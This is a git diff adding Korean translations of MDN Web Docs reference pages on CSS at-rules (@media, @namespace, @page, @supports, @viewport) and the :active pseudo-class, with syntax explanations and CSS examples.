+ + diff --git a/files/ko/web/css/@media/index.html b/files/ko/web/css/@media/index.html new file mode 100644 index 0000000000..6c06996035 --- /dev/null +++ b/files/ko/web/css/@media/index.html @@ -0,0 +1,153 @@ +--- +title: '@media' +slug: Web/CSS/@media +tags: + - '@media' + - At-rule + - CSS + - Reference + - 미디어 쿼리 +translation_of: Web/CSS/@media +--- +
{{CSSRef}}
+ +

@media CSS @규칙은 스타일 시트의 일부를 하나 이상의 미디어 쿼리 결과에 따라 적용할 때 사용할 수 있습니다. @media를 사용해 미디어 쿼리를 지정하면 해당 쿼리를 만족하는 장치에서만 CSS 블록을 적용할 수 있습니다.

+ +
+

참고: JavaScript에서는 @media를 {{domxref("CSSMediaRule")}} CSS 객체 모델 인터페이스로 접근할 수 있습니다.

+
+ +

구문

+ +

@media @규칙은 최상위 코드나, 아무 조건부 그룹 @규칙 안에 중첩해 작성할 수 있습니다.

+ +
/* 최상위 코드 레벨 */
+@media screen and (min-width: 900px) {
+  article {
+    padding: 1rem 3rem;
+  }
+}
+
+/* 다른 조건부 @규칙 내에 중첩 */
+@supports (display: flex) {
+  @media screen and (min-width: 900px) {
+    article {
+      display: flex;
+    }
+  }
+}
+
+ +

미디어 쿼리 구문에 관한 내용은 미디어 쿼리 사용하기 문서를 참고하세요.

+ +

접근성 고려사항

+ +

글씨 크기를 조절한 사용자를 위해서, 미디어 쿼리의 {{cssxref("<length>")}} 자리에는 em을 사용하는게 좋습니다.

+ +

empx 모두 유효한 단위지만, 사용자가 브라우저의 글씨 크기를 변경했다면 em이 더 자연스럽게 동작합니다.

+ +

Level 4 미디어 쿼리를 통한 사용자 경험 향상도 고려해보세요. 예컨대 prefers-reduced-motion 쿼리를 사용하면 사용자가 시스템에 애니메이션을 최소로 줄여달라고 요청했는지 알 수 있습니다.

+ +

보안

+ +

미디어 쿼리는 사용자의 장치와 더 나아가 기능과 디자인에 대한 통찰을 제공하므로, "핑거프린팅"을 통해 장치 고유 식별자로 활용하거나, 그보단 덜 해도 사용자가 원하지 않을 수준의 분류를 하기 위해 오용할 가능성이 있습니다.

+ +

그러므로 브라우저는 기기의 특정을 방지하기 위해 일부 반환 값을 모호하게 할 수 있습니다. 또한 사용자에게 추가 설정을 제공할 수도 있는데, 예를 들어 Firefox의 "핑거프린터 차단" 기능을 활성화하면 많은 수의 미디어 쿼리는 실제 장치 상태 대신 기본 값을 보고하게 됩니다.

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

출력과 화면 미디어 타입 판별

+ +
@media print {
+  body { font-size: 10pt; }
+}
+
+@media screen {
+  body { font-size: 13px; }
+}
+
+@media screen, print {
+  body { line-height: 1.2; }
+}
+
+@media only screen
+  and (min-width: 320px)
+  and (max-width: 480px)
+  and (resolution: 150dpi) {
+    body { line-height: 1.4; }
+}
+ +

Media Queries Level 4부터는 새로운 범위 표현 구문을 사용해 더 간결한 미디어 쿼리를 작성할 수 있습니다.

+ +
@media (height > 600px) {
+    body { line-height: 1.4; }
+}
+
+@media (400px <= width <= 700px) {
+    body { line-height: 1.4; }
+}
+ +

더 많은 예제는 미디어 쿼리 사용하기를 참고하세요.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationCommentFeedback
{{SpecName('CSS5 Media Queries', '#at-media5', '@media')}}Reinstates light-level, inverted-colors and Custom Media Queries, which were removed from Level 4.
+ Adds prefers-reduced-motion, prefers-reduced-transparency, prefers-contrast, and prefers-color-scheme media features.
CSS Working Group drafts GitHub issues
{{SpecName('CSS3 Conditional', '#at-media', '@media')}}Defines the basic syntax of the @media rule.CSS Working Group drafts GitHub issues
{{SpecName('CSS4 Media Queries', '#media', '@media')}} +

Adds scripting, pointer, hover, update, overflow-block, and overflow-inline media features.
+ Deprecates all media types except for screen, print, speech, and all.
+ Makes the syntax more flexible by adding, among other things, the or keyword.

+
CSS Working Group drafts GitHub issues
{{SpecName('CSS3 Media Queries', '#media0', '@media')}}
{{SpecName('CSS2.1', 'media.html#at-media-rule', '@media')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.at-rules.media")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/@media/prefers-color-scheme/index.html b/files/ko/web/css/@media/prefers-color-scheme/index.html new file mode 100644 index 0000000000..1ce1a10a2b --- /dev/null +++ b/files/ko/web/css/@media/prefers-color-scheme/index.html @@ -0,0 +1,89 @@ +--- +title: prefers-color-scheme +slug: Web/CSS/@media/prefers-color-scheme +tags: + - '@media' + - CSS + - Reference + - Web + - prefers-color-scheme +translation_of: Web/CSS/@media/prefers-color-scheme +--- +

prefers-color-scheme CSS 미디어 특성은 사용자의 시스템이 라이트 테마나 다크 테마를 사용하는지 탐지하는 데에 사용됩니다.

+ +

구문

+ +
+
no-preference
+
사용자가 시스템에 선호하는 테마를 알리지 않았음을 나타냅니다. 이 키워드는 boolean context에서 false로 판정됩니다.
+
light
+
사용자가 시스템에 라이트 테마를 사용하는 것을 선호한다고 알렸음을 나타냅니다.
+
dark
+
사용자가 시스템에 다크 테마를 사용하는 것을 선호한다고 알렸음을 나타냅니다.
+
+ +

예제

+ +

이 예제는 검은 배경에 흰 텍스트를 가진 요소를 라이트 테마를 사용하는 사용자가 볼 경우 색을 반대로 해서 나타냅니다.

+ +

HTML

+ +
<div class="themed">Theme</div>
+
+ +

CSS

+ +
.themed {
+  display: block;
+  width: 10em;
+  height: 10em;
+  background: black;
+  color: white;
+}
+
+@media (prefers-color-scheme: light) {
+  .themed {
+    background: white;
+    color: black;
+  }
+}
+
+ +

Result

+ +

{{EmbedLiveSample("예제")}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
+

{{SpecName('CSS5 Media Queries', '#descdef-media-prefers-color-scheme', 'prefers-color-scheme')}}

+
{{Spec2('CSS5 Media Queries')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("css.at-rules.media.prefers-color-scheme")}}

+ +

같이 보기

+ + + +
{{QuickLinksWithSubpages("/en-US/docs/Web/CSS/@media/")}}
diff --git a/files/ko/web/css/@namespace/index.html b/files/ko/web/css/@namespace/index.html new file mode 100644 index 0000000000..d4059df78e --- /dev/null +++ b/files/ko/web/css/@namespace/index.html @@ -0,0 +1,78 @@ +--- +title: '@namespace' +slug: Web/CSS/@namespace +tags: + - At-rule + - CSS + - Layout + - Reference + - Web +translation_of: Web/CSS/@namespace +--- +
{{CSSRef}}
+ +

@namespaceCSS 스타일 시트에서 사용되는 XML 네임스페이스를 정의하는 at-규칙입니다. 정의된 네임스페이스는 오직 그 네임스페이스 내의 요소를 선택만 하기 위해 universal, typeattribute 선택자를 제한하는 데 사용될 수 있습니다. @namespace 규칙은 보통 여러 네임스페이스(인라인 SVG 또는 MathML 있는 HTML5 또는 다양한 어휘를 섞는 XML 등)를 포함하는 문서를 처리하는 경우에만 유용합니다.

+ +

어떤 @namespace 규칙이든 모든 @charset@import 규칙의 다음에 오고 스타일시트에서 모든 다른 at-규칙 및 스타일 선언보다 앞서야 합니다.

+ +

@namespace는 스타일 시트를 위한 기본 네임스페이스를 정의하는 데 사용될 수 있습니다. 기본 네임스페이스가 정의된 경우, 모든 universal 및 type 선택자 (attribute 선택자는 아님, 아래 주의 참조) 는 그 네임스페이스 내 요소에만 적용됩니다.

+ +

@namespace 규칙은 또한 네임스페이스 접두어(namespace prefix)를 정의하는 데도 사용될 수 있습니다. universal, type 또는 attribute 선택자가 네임스페이스 접두어로 시작되는 경우, 그때 그 선택자는 요소 또는 attribute의 네임스페이스 이름이 일치하는 경우에만 일치합니다.

+ +

외부 요소로 알려진 HTML5에서는, 자동으로 네임스페이스가 할당됩니다. 이는 HTML 요소는 마치 XHTML 네임스페이스 (http://www.w3.org/1999/xhtml) 에 있는 것처럼 행동하고, 문서 어디에든 xmlns attribute가 없을지라도, <svg><math> 요소는 그들의 적절한 네임스페이스 (http://www.w3.org/2000/svghttp://www.w3.org/1998/Math/MathML) 가 할당됨을 뜻합니다.

+ +
+

주의: XML에서, 접두어가 직접 attribute (가령, xlink:href)에 정의되지 않는 한, 그 attribute은 네임스페이스가 없습니다. 다시 말해서, attribute은 그들이 붙은 요소의 네임스페이스를 상속받지 않습니다. 이 행동(behaviour)를 일치시키기 위해, CSS에서 기본 네임스페이스는 attribute 선택자에 적용되지 않습니다.

+
+ +

구문

+ +
/* 기본 네임스페이스 */
+@namespace url(XML-namespace-URL);
+@namespace "XML-namespace-URL";
+
+/* 접두어 붙은 네임스페이스 */
+@namespace prefix url(XML-namespace-URL);
+@namespace prefix "XML-namespace-URL";
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
@namespace url(http://www.w3.org/1999/xhtml);
+@namespace svg url(http://www.w3.org/2000/svg);
+
+/* 이는 모든 XHTML <a> 요소와 일치합니다, XHTML이 접두어 붙지 않은 기본 네임스페이스이기에 */
+a {}
+
+/* 이는 모든 SVG <a> 요소와 일치합니다 */
+svg|a {}
+
+/* 이는 XHTML 및 SVG <a> 요소 둘 다와 일치합니다 */
+*|a {}
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Namespaces', '#declaration', '@namespace')}}{{Spec2('CSS3 Namespaces')}}초기 정의
+ +

브라우저 호환성

+ +

{{Compat("css.at-rules.namespace")}}

diff --git a/files/ko/web/css/@page/index.html b/files/ko/web/css/@page/index.html new file mode 100644 index 0000000000..dd9d2e2ac0 --- /dev/null +++ b/files/ko/web/css/@page/index.html @@ -0,0 +1,96 @@ +--- +title: '@page' +slug: Web/CSS/@page +tags: + - At-rule + - CSS + - Layout + - Reference + - Web +translation_of: Web/CSS/@page +--- +
{{CSSRef}}
+ +

@page CSS @규칙은 문서를 인쇄할 때 일부 CSS 속성을 수정하는 데 쓰입니다. @page로 모든 CSS 속성을 바꿀 수는 없습니다. 문서의 margin, orphan, widow(앞단에서 넘어온 짤막한 행) 및 page break만 바꿀 수 있습니다. 다른 CSS 속성을 바꾸려는 시도는 무시됩니다.

+ +
@page {
+  margin: 1cm;
+}
+
+@page :first {
+  margin: 2cm;
+}
+
+ +

@page @규칙은 CSS 객체 모델 인터페이스 {{domxref("CSSPageRule")}}를 통해 액세스될 수 있습니다.

+ +
주의: W3C은 viewport 관련 {{cssxref("<length>")}} 단위, vh, vw, vminvmax 처리법을 논의 중입니다. 그 동안에 @page @규칙 내에서 사용하지 마세요.
+ +

구문

+ +

서술자

+ +
+
size
+
페이지 박스 내 포함 블록의 대상(target) 크기 및 방향을 지정합니다. 한 페이지 박스가 한 페이지 시트에 렌더링 되는 일반적인 경우에, 또한 대상(destination) 페이지 시트의 크기를 나타냅니다.
+
+ +
+
marks
+
문서에 crop 및/또는 registration 마크를 추가합니다.
+
+ +
+
bleed
+
페이지 렌더링이 잘리는(clip) 페이지 박스 너머 범위를 지정합니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

예제를 위한 @page의 다양한 가상 클래스 참조해 주세요.

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS Logical Properties', '#logical-page', ':recto and :verso')}}{{Spec2('CSS Logical Properties')}}:recto:verso 페이지 선택자 추가
{{SpecName('CSS3 Paged Media', '#at-page-rule', '@page')}}{{Spec2('CSS3 Paged Media')}}{{SpecName('CSS2.1')}}에서 변화 없음, 더 많은 CSS at-규칙이 @page 내에 사용될 수 있지만.
{{SpecName('CSS2.1', 'page.html#page-selectors', '@page')}}{{Spec2('CSS2.1')}}초기 정의
+ +

브라우저 호환성

+ +

{{Compat("css.at-rules.page")}}

diff --git a/files/ko/web/css/@supports/index.html b/files/ko/web/css/@supports/index.html new file mode 100644 index 0000000000..e2d9c44ec3 --- /dev/null +++ b/files/ko/web/css/@supports/index.html @@ -0,0 +1,193 @@ +--- +title: '@supports' +slug: Web/CSS/@supports +tags: + - At-rule + - CSS + - Layout + - Reference + - Web +translation_of: Web/CSS/@supports +--- +
{{CSSRef}}
+ +

@supports CSS @규칙은 주어진 하나 이상의 CSS 기능을 브라우저가 지원하는지에 따라 다른 스타일 선언을 할 수 있는 방법을 제공합니다. 이를 기능 쿼리(feature query)라고 부릅니다. @supports는 스타일의 최상위 단계, 또는 다른 조건부 그룹 규칙에 중첩해 위치할 수 있습니다.

+ +
@supports (display: grid) {
+  div {
+    display: grid;
+  }
+}
+ +
@supports not (display: grid) {
+  div {
+    float: right;
+  }
+}
+ +

JavaScript에서, @supports는 CSS 객체 모델 인터페이스 {{DOMxRef("CSSSupportsRule")}}로 접근할 수 있습니다.

+ +

구문

+ +

@supports @규칙은 하나의 선언 블록을 특정 기능의 브라우저 지원 조건과 연결할 수 있습니다. 지원 조건은 하나 이상의 키-값 쌍을 논리곱(and), 논리합(or), 부정(not)으로 연결해 구성합니다. 괄호로 묶어 우선순위를 지정할 수도 있습니다.

+ +

선언 구문

+ +

가장 기본적인 지원 조건은 단순한 선언(속성 이름과 그 값)입니다. 선언은 괄호로 묶여야 합니다. 다음 예제는 브라우저가 {{cssxref("transform-origin")}} 속성의 값으로 5% 5%가 유효하다고 여길 때 통과합니다.

+ +
@supports (transform-origin: 5% 5%) {}
+ +

함수 구문

+ +

두 번째 기본적인 지원 조건은 지원 함수로, 모든 브라우저가 함수 구문을 지원하지만 지원 함수 자체는 아직 표준화 중입니다.

+ +

selector() {{experimental_inline}}

+ +

브라우저가 주어진 선택자를 지원하는지 판별합니다. 다음 예제는 브라우저가 자식 결합자를 지원할 때 통과합니다.

+ +
@supports selector(A > B) {}
+
+ +

not 연산자

+ +

not 연산자를 어떤 표현식 앞에 붙이면 그 반대 결과를 낳는 새로운 표현식을 생성합니다. 다음 예제는 브라우저가 {{cssxref("transform-origin")}} 속성의 값으로 10em 10em 10em유효하지 않다고 여길 때 통과합니다.

+ +
@supports not (transform-origin: 10em 10em 10em) {}
+ +

다른 연산자와 마찬가지로, 선언의 복잡도와 관계 없이 not 연산자를 적용할 수 있습니다. 다음 두 예시는 모두 유효한 구문입니다.

+ +
@supports not (not (transform-origin: 2px)) {}
+@supports (display: grid) and (not (display: inline-grid)) {}
+ +
+

참고: 최상위 not 연산자는 괄호로 감싸지 않아도 괜찮습니다. and, or 등 다른 연산자와 함께 사용할 때는 괄호가 필요합니다.

+
+ +

and 연산자

+ +

and 연산자는 두 표현식의 논리곱으로부터 새로운 표현식을 생성합니다. 새로운 표현식은 두 구성 표현식이 모두 참일 때만 참을 반환합니다. 다음 예제는 두 개의 구성 표현식이 동시에 참이어야만 통과합니다.

+ +
@supports (display: table-cell) and (display: list-item) {}
+ +

다수의 논리곱은 괄호 없이 병치할 수 있습니다. 다음 두 예시는 모두 유효한 구문입니다.

+ +
@supports (display: table-cell) and (display: list-item) and (display:run-in) {}
+@supports (display: table-cell) and ((display: list-item) and (display:run-in)) {}
+ +

or 연산자

+ +

or 연산자는 두 표현식의 논리합으로부터 새로운 표현식을 생성합니다. 새로운 표현식은 두 구성 표현식 중 어느 한 쪽이라도 참이면 참을 반환합니다. 다음 예제는 두 개의 구성 표현식 중 하나라도 참이면 통과합니다.

+ +
@supports (transform-style: preserve) or (-moz-transform-style: preserve) {}
+
+ +

다수의 논리합은 괄호 없이 병치할 수 있습니다. 다음 두 예시는 모두 유효한 구문입니다.

+ +
@supports (transform-style: preserve) or (-moz-transform-style: preserve) or
+          (-o-transform-style: preserve) or (-webkit-transform-style: preserve) {}
+
+@supports (transform-style: preserve-3d) or ((-moz-transform-style: preserve-3d) or
+          ((-o-transform-style: preserve-3d) or (-webkit-transform-style: preserve-3d))) {}
+ +
+

참고: and와 or 연산자를 같이 사용할 때는 괄호를 사용해 연산자 적용 순서를 정의해야 합니다. 그렇지 않으면 조건이 유효하지 않으므로 @-규칙 전체를 무시합니다.

+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

주어진 CSS 속성의 지원 여부 판별

+ +
@supports (animation-name: test) {
+    … /* 애니메이션 속성을 접두사 없이 사용할 수 있을 때 CSS 적용 */
+    @keyframes { /* 다른 @-규칙을 중첩 가능 */
+      …
+    }
+}
+
+ +

주어진 CSS 속성 및 접두사 버전의 지원 여부 판별

+ +
@supports ( (perspective: 10px) or (-moz-perspective: 10px) or (-webkit-perspective: 10px) or
+            (-ms-perspective: 10px) or (-o-perspective: 10px) ) {
+    … /* 접두사가 붙더라도 3D 변형을 지원하면 CSS 적용 */
+}
+
+ +

특정 CSS 속성의 미지원 여부 판별

+ +
@supports not ((text-align-last: justify) or (-moz-text-align-last: justify) ){
+    … /* text-align-last: justify를 대체할 CSS */
+}
+ +

사용자 정의 속성 지원 여부 판별

+ +
@supports (--foo: green) {
+  body {
+    color: var(--varName);
+  }
+}
+ +

선택자 지원 여부 판별 (예: {{CSSxRef(":is", ":is()")}})

+ +

{{SeeCompatTable}}

+ +
/* :is()를 지원하지 않는 브라우저에서는 무시함 */
+:is(ul, ol) > li {
+  … /* :is() 선택자를 지원할 때 적용할 CSS */
+}
+
+@supports not selector(:is(a, b)) {
+  /* :is()를 지원하지 않을 때 대체할 CSS */
+  ul > li,
+  ol > li {
+    … /* :is()를 지원하지 않을 때 적용할 CSS */
+  }
+}
+
+@supports selector(:nth-child(1n of a, b)) {
+  /* @supports로 먼저 묶지 않으면 :nth-child()의 of 구문을
+     지원하지 않는 브라우저에서 스타일을 잘못 적용할 수 있음 */
+  :is(:nth-child(1n of ul, ol) a,
+  details > summary) {
+    … /* :is() 선택자와 :nth-child()의 of 구문을 지원할 때 적용할 CSS */
+  }
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS Conditional 4", "#at-supports", "@supports")}}{{Spec2("CSS Conditional 4")}}Adds the selector()function.
{{SpecName("CSS3 Conditional", "#at-supports", "@supports")}}{{Spec2("CSS3 Conditional")}}Initial definition.
+ +

브라우저 호환성

+ +

{{Compat("css.at-rules.supports")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/@viewport/height/index.html b/files/ko/web/css/@viewport/height/index.html new file mode 100644 index 0000000000..4a97de7c7f --- /dev/null +++ b/files/ko/web/css/@viewport/height/index.html @@ -0,0 +1,75 @@ +--- +title: height +slug: Web/CSS/@viewport/height +tags: + - '@viewport' + - CSS + - CSS Descriptor + - Reference +translation_of: Web/CSS/@viewport +--- +
{{CSSRef}}
+ +

height CSS 서술자(descriptor)는 뷰포트의 {{cssxref("@viewport/min-height", "min-height")}} 및 {{cssxref("@viewport/max-height", "max-height")}} 둘 다 설정하기 위한 단축(shorthand) 설명자입니다. 뷰포트 길이 값 하나를 주어 최소 높이 및 최대 높이 둘 다를 주어진 값으로 설정합니다.

+ +

뷰포트 값이 두 개 주어진 경우, 첫 번째 값은 최소 높이로 두 번째 값은 최대 높이로 설정합니다.

+ +

{{cssinfo}}

+ +

구문

+ +
/* 한 값 */
+height: auto;
+height: 320px;
+height: 15em;
+
+/* 두 값 */
+height: 320px 200px;
+
+ +

+ +
+
auto
+
다른 CSS 설명자의 값에서 계산된 사용값(used value).
+
<length>
+
음이 아닌 절대 또는 상대 길이.
+
<percentage>
+
가로 및 세로 길이 각각을 위한 줌 배율(factor) 1.0에서 초기 뷰포트의 너비 또는 높이에 대한 퍼센트 값. 음이 아니어야 합니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ +
@viewport {
+  height: 500px;
+}
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Device', '#descdef-viewport-height', '"height" descriptor')}}{{Spec2('CSS3 Device')}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("css.at-rules.viewport.height")}}

diff --git a/files/ko/web/css/@viewport/index.html b/files/ko/web/css/@viewport/index.html new file mode 100644 index 0000000000..e77278c61e --- /dev/null +++ b/files/ko/web/css/@viewport/index.html @@ -0,0 +1,120 @@ +--- +title: '@viewport' +slug: Web/CSS/@viewport +tags: + - Adaptation + - At-rule + - CSS + - Device + - NeedsContent + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/CSS/@viewport +--- +
{{SeeCompatTable}}{{CSSRef}}
+ +

The @viewport CSS at-rule lets you configure the {{glossary("viewport")}} through which the document is viewed. It's primarily used for mobile devices, but is also used by desktop browsers that support features like "snap to edge" (such as Microsoft Edge).

+ +

Lengths specified as percentages are calculated relative to the initial viewport, which is the viewport before any user agent or authored styles have had an opportunity to adjust the viewport. This is typically based on the size of the window on desktop browsers that aren't in full screen mode.

+ +

On mobile devices (or desktop devices that are in full screen mode), the initial viewport is usually the portion of a device's screen that is available for application use. This may be either the full screen or the full screen area minus areas controlled by the operating system (such as a taskbar) or the application-available screen area (either the full screen or the screen minus any areas owned by the operating system or other applications).

+ +
@viewport {
+  width: device-width;
+}
+ +

Syntax

+ +

The at-rule contains a set of nested {{glossary("descriptor (CSS)", "descriptor")}}s in a CSS block that is delimited by curly braces.

+ +

A zoom factor of 1.0 or 100% corresponds to no zooming. Larger values zoom in. Smaller values zoom out.

+ +

Descriptors

+ +

Browser support for @viewport is weak at this time, with support being largely available in Internet Explorer and Edge. Even in those browsers, only a small number of descriptors are available. Browsers will ignore @viewport if they don't support it, and will ignore any descriptors that they don't recognize.

+ +
+
min-width
+
Used in the determination of the width of the viewport when the document is first displayed.
+
max-width
+
Used in the determination of the width of the viewport when the document is first displayed.
+
width
+
A shorthand descriptor for setting both min-width and max-width.
+
min-height
+
Used in the determination of the height of the viewport when the document is first displayed.
+
max-height
+
Used in the determination of the height of the viewport when the document is first displayed.
+
height
+
A shorthand descriptor for setting both min-height and max-height.
+
zoom
+
Sets the initial zoom factor.
+
min-zoom
+
Sets the minimum zoom factor.
+
max-zoom
+
Sets the maximum zoom factor.
+
user-zoom
+
Controls whether or not the user should be able to change the zoom factor.
+
orientation
+
Controls the document's orientation.
+
{{cssxref("@viewport/viewport-fit", "viewport-fit")}}
+
Controls the display of the document on non-rectangular displays.
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Examples

+ +
@viewport {
+  min-width: 640px;
+  max-width: 800px;
+}
+
+@viewport {
+  zoom: 0.75;
+  min-zoom: 0.5;
+  max-zoom: 0.9;
+}
+
+@viewport {
+  orientation: landscape;
+}
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS Round Display", "#extending-viewport-rule", "@viewport")}}{{Spec2("CSS Round Display")}}Defined the {{cssxref("@viewport/viewport-fit", "viewport-fit")}} descriptor.
{{SpecName('CSS3 Device', '#the-atviewport-rule', '@viewport')}}{{Spec2('CSS3 Device')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("css.at-rules.viewport")}}

+ +

See also

+ + diff --git a/files/ko/web/css/@viewport/viewport-fit/index.html b/files/ko/web/css/@viewport/viewport-fit/index.html new file mode 100644 index 0000000000..e29d893382 --- /dev/null +++ b/files/ko/web/css/@viewport/viewport-fit/index.html @@ -0,0 +1,72 @@ +--- +title: viewport-fit +slug: Web/CSS/@viewport/viewport-fit +translation_of: Web/CSS/@viewport +--- +
{{CSSRef}}{{Draft}}{{SeeCompatTable}}
+ +

viewport-fit CSS {{CSSxRef("@viewport")}} {{Glossary("Descriptor (CSS)", "설명자")}}는 문서의 뷰포트가 화면을 채우는 방법을 제어합니다.

+ +

Syntax

+ +
/* Keyword values */
+viewport-fit: auto;
+viewport-fit: contain;
+viewport-fit: cover;
+
+ +

Values

+ +
+
auto
+
이 값은 초기 레이아웃 뷰포트에 영향을 미치지 않으며 전체 웹 페이지가 보여집니다.
+
contain
+
뷰포트 크기가 디스플레이 내에 새겨진 가장 큰 직사각형에 들어맞게 조정됩니다.
+
+ +
+
cover
+
뷰포트 크기가 기기 디스플레이를 모두 채우도록 조정됩니다. 이때 중요한 내용이 디스플레이 바깥 영역으로 밀려나지 않도록 safe area inset 변수를 함께 사용할 것을 권장합니다.
+
+ +

Formal syntax

+ +
auto | contain | cover
+
+ + + +

접근성 문제

+ +

viewport-fit 설명자를 사용할 때에는 모든 기기의 디스플레이가 직사각형인 것은 아니므로 safe area inset 변수를 함께 사용해야 함을 기억하세요.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS Round Display", "#viewport-fit-descriptor", '"viewport-fit" descriptor')}}{{Spec2("CSS Round Display")}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.at-rules.viewport.viewport-fit")}}

+ +

See also

+ + diff --git a/files/ko/web/css/@viewport/zoom/index.html b/files/ko/web/css/@viewport/zoom/index.html new file mode 100644 index 0000000000..137b2eb6a9 --- /dev/null +++ b/files/ko/web/css/@viewport/zoom/index.html @@ -0,0 +1,70 @@ +--- +title: zoom +slug: Web/CSS/@viewport/zoom +tags: + - CSS + - CSS Descriptor + - Graphics + - Layout + - NeedsExample + - Reference +translation_of: Web/CSS/@viewport +--- +
{{ CSSRef }}
+ +

zoom CSS 설명자(descriptor)는 {{cssxref("@viewport")}}에 의해 정의된 문서의 초기 줌 배율(factor)을 설정합니다.

+ +

1.0 또는 100%줌 배율은 줌이 없음에 해당합니다. 큰 값은 확대. 작은 값은 축소.

+ +

{{cssinfo}}

+ +

구문

+ +
/* 키워드 값 */
+zoom: auto;
+
+/* <number> 값 */
+zoom: 0.8;
+zoom: 2.0;
+
+/* <percentage> 값 */
+zoom: 150%;
+
+ +

+ +
+
auto
+
사용자 에이전트가 문서의 초기 줌 배율을 설정합니다. 사용자 에이전트는 문서가 그 배율을 찾기 위해 렌더링되는 캔버스 영역의 크기를 사용할 수 있습니다.
+
<number>
+
줌 배율로 사용되는 음이 아닌 수. 배율 1.0은 줌이 수행되지 않음을 뜻합니다. 1.0보다 큰 값은 확대 작은 값은 축소 효과가 됩니다.
+
<percentage>
+
줌 배율로 사용되는 음이 아닌 퍼센트 값. 배율 100%는 줌이 수행되지 않음을 뜻합니다. 100%보다 큰 값은 확대 작은 값은 축소 효과가 됩니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Device', '#the-lsquozoomrsquo-descriptor', '"zoom" descriptor')}}{{Spec2('CSS3 Device')}}초기 스펙
+ +

브라우저 호환성

+ +

{{Compat("css.at-rules.viewport.zoom")}}

diff --git a/files/ko/web/css/_colon_active/index.html b/files/ko/web/css/_colon_active/index.html new file mode 100644 index 0000000000..eb3ccff192 --- /dev/null +++ b/files/ko/web/css/_colon_active/index.html @@ -0,0 +1,127 @@ +--- +title: ':active' +slug: 'Web/CSS/:active' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Web +translation_of: 'Web/CSS/:active' +--- +
{{CSSRef}}
+ +

:active CSS 의사 클래스는 사용자가 활성화한 요소(버튼 등)를 나타냅니다. 마우스를 사용하는 경우, "활성"이란 보통 마우스 버튼을 누르는 순간부터 떼는 시점까지를 의미합니다.

+ +
/* 활성화된 모든 <a> 태그를 선택 */
+a:active {
+  color: red;
+}
+ +

:active 의사 클래스는 대개 {{HTMLElement("a")}}, {{HTMLElement("button")}}과 함께 사용합니다. 다른 흔한 대상으로는 활성화된 요소를 포함한 다른 요소와, 연결된 {{HTMLElement("label")}}로 선택한 입력 폼 요소 등이 있습니다.

+ +

:active 의사 클래스로 정의한 스타일은 자신보다 뒤에 위치하고 동등한 명시성을 가진 다른 링크 의사 클래스({{cssxref(":link")}}, {{cssxref(":hover")}}, {{cssxref(":visited")}})가 덮어씁니다. 링크를 적절히 디자인하려면 LVHA-순서(:link:visited:hover:active)를 따라, :active 규칙을 다른 모든 링크 규칙들보다 뒤에 배치하세요.

+ +
참고: CSS3 명세에 따르면, 다수의 버튼을 가진 마우스라도 :active 의사 클래스는 주 버튼에만 적용돼야 합니다. 오른손잡이 마우스 기준, 주 버튼은 보통 맨 왼쪽 버튼입니다.
+ +

구문

+ +
{{csssyntax}}
+ +

예제

+ +

활성화 링크

+ +

HTML

+ +
<p>링크를 포함하는 문단입니다.
+  <a href="#">이 링크는 클릭하는 동안 색이 빨갛게 됩니다.</a>
+  이 문단은 클릭하는 동안 배경색이 회색이 됩니다.
+</p>
+ +

CSS

+ +
a:link { color: blue; }          /* 방문하지 않은 링크 */
+a:visited { color: purple; }     /* 방문한 링크 */
+a:hover { background: yellow; }  /* 마우스를 올린 링크 */
+a:active { color: red; }         /* 활성화한 링크 */
+
+p:active { background: #eee; }   /* 활성화한 문단 */
+ +

결과

+ +

{{EmbedLiveSample('활성화_링크')}}

+ +

활성화 폼 요소

+ +

HTML

+ +
<form>
+  <label for="my-button">내 버튼: </label>
+  <button id="my-button" type="button">제 라벨이나 저를 클릭해보세요!</button>
+</form>
+ +

CSS

+ +
form :active {
+  color: red;
+}
+
+form button {
+  background: white;
+}
+ +

결과

+ +

{{EmbedLiveSample('활성화_폼_요소')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'scripting.html#selector-active', ':active')}}{{Spec2('HTML WHATWG')}}
{{SpecName('CSS4 Selectors', '#active-pseudo', ':active')}}{{Spec2('CSS4 Selectors')}}No change.
{{SpecName('CSS3 Selectors', '#useraction-pseudos', ':active')}}{{Spec2('CSS3 Selectors')}}No change.
{{SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':active')}}{{Spec2('CSS2.1')}}No change.
{{SpecName('CSS1', '#anchor-pseudo-classes', ':active')}}{{Spec2('CSS1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.active")}}

+ +

같이 보기

